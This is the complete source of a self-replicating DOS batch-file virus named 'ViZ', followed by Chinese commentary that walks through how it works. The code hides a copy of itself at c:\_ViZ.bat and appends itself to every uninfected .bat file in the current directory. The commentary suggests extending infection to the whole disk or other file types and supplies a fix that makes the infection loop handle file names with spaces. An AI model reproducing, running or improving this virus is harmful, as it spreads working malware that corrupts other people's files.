1| :: by -KD- of Metaphase
2| @echo off%_ViZ%
3| if '%1=='ViZ goto ViZ%2
4| if exist c:\_ViZ.bat goto ViZstart
5| if not exist %0.bat goto ViZexit
6| find "ViZ"<%0.bat>c:\_ViZ.bat
7| attrib c:\_ViZ.bat +h
8| :ViZstart
9| if '%!ViZ%=='- goto ViZexit
10| set !ViZ=%!ViZ%-
11| command /e:5000 /c c:\_ViZ ViZ v
12| :DaViZ
13| goto ViZexit
14| :ViZv
15| for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a
16| exit ViZ
17| :ViZ_inf
18| find "ViZ"<%3>nul
19| if not errorlevel 1 goto ViZlevel
20| type c:\_ViZ.bat>>%3
21| exit ViZ
22| :ViZlevel
23| set ViZ!=%ViZ!%-
24| if %ViZ!%==- exit
25| :ViZexit
第11行:command /e:5000 /c c:\_ViZ ViZ v 此句我之前没有接触过,只知道command.exe是98下带的,xp已经换为cmd。不过可以推测出此句的大意:在一个新的命令环境中运行刚才在c盘下建立的bat文件,/c是运行完毕后就返回。我们在cmd下可以直接用call c:\_ViZ.bat ViZ v来实现。这句话什么意思呢?运行c:\_ViZ.bat,提供的参数%1为ViZ,%2为v。C盘下的程序是此程序的复制品,当然和此程序一样。大家从此程序头看起,明白了吧。运行到第三行的if '%1=='ViZ goto ViZ%2 后直接跳到标签:ViZv处。也就是第14行。
第15行:for %%a in (*.bat) do call c:\_ViZ ViZ inf %%a 此句为核心代码,此程序即通过此句来感染当前文件下的bat文件。当然你可以修改为感染全盘的,或者感染其他格式的文件等等。看do后面的call c:\_ViZ ViZ inf %%a,有了刚才的解释,此句就很容易了吧。此句执行后即跳到标签ViZinf处。即第17行。注:此句有不完善之处,若当前目录下有文件名带空过的bat会引起后面的参数%%a传递的错误。改为:for /f "delims=" %%a in (*.bat) do call c:\_ViZ.bat ViZ inf "%%a"。